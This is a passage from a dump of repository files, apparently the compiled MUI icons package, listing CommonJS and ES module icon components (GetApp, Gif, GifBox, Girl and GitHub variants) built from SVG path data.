    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.59 9H15V4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v5H7.41c-.89 0-1.34 1.08-.71 1.71l4.59 4.59c.39.39 1.02.39 1.41 0l4.59-4.59c.63-.63.19-1.71-.7-1.71M5 19c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1\"\n}), 'GetAppRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetAppSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zM5 18v2h14v-2z\"\n}), 'GetAppSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetAppSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zM5 18v2h14v-2z\"\n}), 'GetAppSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetAppTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 11H13V5h-2v6H9.83L12 13.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zm-8 2V5h2v6h1.17L12 13.17 9.83 11zm-6 7h14v2H5z\"\n}, \"1\")], 'GetAppTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GetAppTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 11H13V5h-2v6H9.83L12 13.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-4V3H9v6H5l7 7zm-8 2V5h2v6h1.17L12 13.17 9.83 11zm-6 7h14v2H5z\"\n}, \"1\")], 'GetAppTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gif.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v6h-1.5zM9 9H6c-.6 0-1 .5-1 1v4c0 .5.4 1 1 1h3c.6 0 1-.5 1-1v-2H8.5v1.5h-2v-3H10V10c0-.5-.4-1-1-1m10 1.5V9h-4.5v6H16v-2h2v-1.5h-2v-1z\"\n}), 'Gif');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gif.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v6h-1.5zM9 9H6c-.6 0-1 .5-1 1v4c0 .5.4 1 1 1h3c.6 0 1-.5 1-1v-2H8.5v1.5h-2v-3H10V10c0-.5-.4-1-1-1m10 1.5V9h-4.5v6H16v-2h2v-1.5h-2v-1z\"\n}), 'Gif');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.5 13v-1h1v1c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1h1c.55 0 1 .45 1 1h-2v2zm3 1h-1v-4h1zm4-3h-2v.5H16v1h-1.5V14h-1v-4h3z\"\n}), 'GifBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.5 13v-1h1v1c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1h1c.55 0 1 .45 1 1h-2v2zm3 1h-1v-4h1zm4-3h-2v.5H16v1h-1.5V14h-1v-4h3z\"\n}), 'GifBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBoxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h14zM5 3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm6.5 11h1v-4h-1zm2 0h1v-1.5H16v-1h-1.5V11h2v-1h-3zm-4-2v1h-1v-2h2c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1z\"\n}), 'GifBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBoxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h14zM5 3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm6.5 11h1v-4h-1zm2 0h1v-1.5H16v-1h-1.5V11h2v-1h-3zm-4-2v1h-1v-2h2c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1z\"\n}), 'GifBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBoxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.5 7.5c0 .28-.22.5-.5.5H8.5v2h1v-.5c0-.29.25-.53.55-.5.26.02.45.26.45.52V13c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1H10c.28 0 .5.22.5.5M12 10c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5m2 4c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h2c.28 0 .5.22.5.5s-.22.5-.5.5h-1.5v.5h1c.28 0 .5.22.5.5s-.22.5-.5.5h-1v1c0 .28-.22.5-.5.5\"\n}), 'GifBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBoxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.5 7.5c0 .28-.22.5-.5.5H8.5v2h1v-.5c0-.29.25-.53.55-.5.26.02.45.26.45.52V13c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1H10c.28 0 .5.22.5.5M12 10c.28 0 .5.22.5.5v3c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5m2 4c-.28 0-.5-.22-.5-.5v-3c0-.28.22-.5.5-.5h2c.28 0 .5.22.5.5s-.22.5-.5.5h-1.5v.5h1c.28 0 .5.22.5.5s-.22.5-.5.5h-1v1c0 .28-.22.5-.5.5\"\n}), 'GifBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBoxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM9.5 13v-1h1v2h-3v-4h3v1h-2v2zm3 1h-1v-4h1zm4-3h-2v.5H16v1h-1.5V14h-1v-4h3z\"\n}), 'GifBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBoxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM9.5 13v-1h1v2h-3v-4h3v1h-2v2zm3 1h-1v-4h1zm4-3h-2v.5H16v1h-1.5V14h-1v-4h3z\"\n}), 'GifBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBoxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h14V5zm4.5 8v-1h1v1c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1h1c.55 0 1 .45 1 1h-2v2zm3 1h-1v-4h1zm4-3h-2v.5H16v1h-1.5V14h-1v-4h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h14zM5 3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm6.5 11h1v-4h-1zm2 0h1v-1.5H16v-1h-1.5V11h2v-1h-3zm-4-2v1h-1v-2h2c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1z\"\n}, \"1\")], 'GifBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifBoxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h14V5zm4.5 8v-1h1v1c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1h1c.55 0 1 .45 1 1h-2v2zm3 1h-1v-4h1zm4-3h-2v.5H16v1h-1.5V14h-1v-4h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h14zM5 3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm6.5 11h1v-4h-1zm2 0h1v-1.5H16v-1h-1.5V11h2v-1h-3zm-4-2v1h-1v-2h2c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1z\"\n}, \"1\")], 'GifBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v6h-1.5zM9 9H6c-.6 0-1 .5-1 1v4c0 .5.4 1 1 1h3c.6 0 1-.5 1-1v-2H8.5v1.5h-2v-3H10V10c0-.5-.4-1-1-1m10 1.5V9h-4.5v6H16v-2h2v-1.5h-2v-1z\"\n}), 'GifOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v6h-1.5zM9 9H6c-.6 0-1 .5-1 1v4c0 .5.4 1 1 1h3c.6 0 1-.5 1-1v-2H8.5v1.5h-2v-3H10V10c0-.5-.4-1-1-1m10 1.5V9h-4.5v6H16v-2h2v-1.5h-2v-1z\"\n}), 'GifOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.25 9c.41 0 .75.34.75.75v4.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75M10 9.75c0-.41-.34-.75-.75-.75H6c-.6 0-1 .5-1 1v4c0 .5.4 1 1 1h3c.6 0 1-.5 1-1v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v.75h-2v-3h2.75c.41 0 .75-.34.75-.75m9 0c0-.41-.34-.75-.75-.75H15.5c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V13h1.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H16v-1h2.25c.41 0 .75-.34.75-.75\"\n}), 'GifRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.25 9c.41 0 .75.34.75.75v4.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75M10 9.75c0-.41-.34-.75-.75-.75H6c-.6 0-1 .5-1 1v4c0 .5.4 1 1 1h3c.6 0 1-.5 1-1v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v.75h-2v-3h2.75c.41 0 .75-.34.75-.75m9 0c0-.41-.34-.75-.75-.75H15.5c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V13h1.25c.41 0 .75-.34.75-.75s-.34-.75-.75-.75H16v-1h2.25c.41 0 .75-.34.75-.75\"\n}), 'GifRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v6h-1.5zM10 9H5v6h5v-3H8.5v1.5h-2v-3H10zm9 1.5V9h-4.5v6H16v-2h2v-1.5h-2v-1z\"\n}), 'GifSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v6h-1.5zM10 9H5v6h5v-3H8.5v1.5h-2v-3H10zm9 1.5V9h-4.5v6H16v-2h2v-1.5h-2v-1z\"\n}), 'GifSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v6h-1.5zM9 9H6c-.6 0-1 .5-1 1v4c0 .5.4 1 1 1h3c.6 0 1-.5 1-1v-2H8.5v1.5h-2v-3H10V10c0-.5-.4-1-1-1m10 1.5V9h-4.5v6H16v-2h2v-1.5h-2v-1z\",\n  opacity: \".87\"\n}), 'GifTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GifTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v6h-1.5zM9 9H6c-.6 0-1 .5-1 1v4c0 .5.4 1 1 1h3c.6 0 1-.5 1-1v-2H8.5v1.5h-2v-3H10V10c0-.5-.4-1-1-1m10 1.5V9h-4.5v6H16v-2h2v-1.5h-2v-1z\",\n  opacity: \".87\"\n}), 'GifTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Girl.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v4h-4v-4H8l2.38-6.38c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12L16 16z\"\n}), 'Girl');"
  },
  {
    "path": "packages/mui-icons-material/lib/Girl.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v4h-4v-4H8l2.38-6.38c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12L16 16z\"\n}), 'Girl');"
  },
  {
    "path": "packages/mui-icons-material/lib/GirlOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v4h-4v-4H8l2.38-6.38c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12L16 16z\"\n}), 'GirlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GirlOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v4h-4v-4H8l2.38-6.38c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12L16 16z\"\n}), 'GirlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GirlRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v3c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1v-3h-.56c-.7 0-1.18-.7-.94-1.35l1.88-5.03c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12l1.88 5.03c.24.65-.24 1.35-.94 1.35z\"\n}), 'GirlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GirlRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v3c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1v-3h-.56c-.7 0-1.18-.7-.94-1.35l1.88-5.03c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12l1.88 5.03c.24.65-.24 1.35-.94 1.35z\"\n}), 'GirlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GirlSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v4h-4v-4H8l2.38-6.38c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12L16 16z\"\n}), 'GirlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GirlSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v4h-4v-4H8l2.38-6.38c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12L16 16z\"\n}), 'GirlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GirlTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v4h-4v-4H8l2.38-6.38c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12L16 16z\"\n}), 'GirlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GirlTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5m2 8.5v4h-4v-4H8l2.38-6.38c.25-.67.9-1.12 1.62-1.12s1.37.45 1.62 1.12L16 16z\"\n}), 'GirlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GitHub.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1.27a11 11 0 00-3.48 21.46c.55.09.73-.28.73-.55v-1.84c-3.03.64-3.67-1.46-3.67-1.46-.55-1.29-1.28-1.65-1.28-1.65-.92-.65.1-.65.1-.65 1.1 0 1.73 1.1 1.73 1.1.92 1.65 2.57 1.2 3.21.92a2 2 0 01.64-1.47c-2.47-.27-5.04-1.19-5.04-5.5 0-1.1.46-2.1 1.2-2.84a3.76 3.76 0 010-2.93s.91-.28 3.11 1.1c1.8-.49 3.7-.49 5.5 0 2.1-1.38 3.02-1.1 3.02-1.1a3.76 3.76 0 010 2.93c.83.74 1.2 1.74 1.2 2.94 0 4.21-2.57 5.13-5.04 5.4.45.37.82.92.82 2.02v3.03c0 .27.1.64.73.55A11 11 0 0012 1.27\"\n}), 'GitHub');"
  },
  {
    "path": "packages/mui-icons-material/lib/GitHub.mjs",
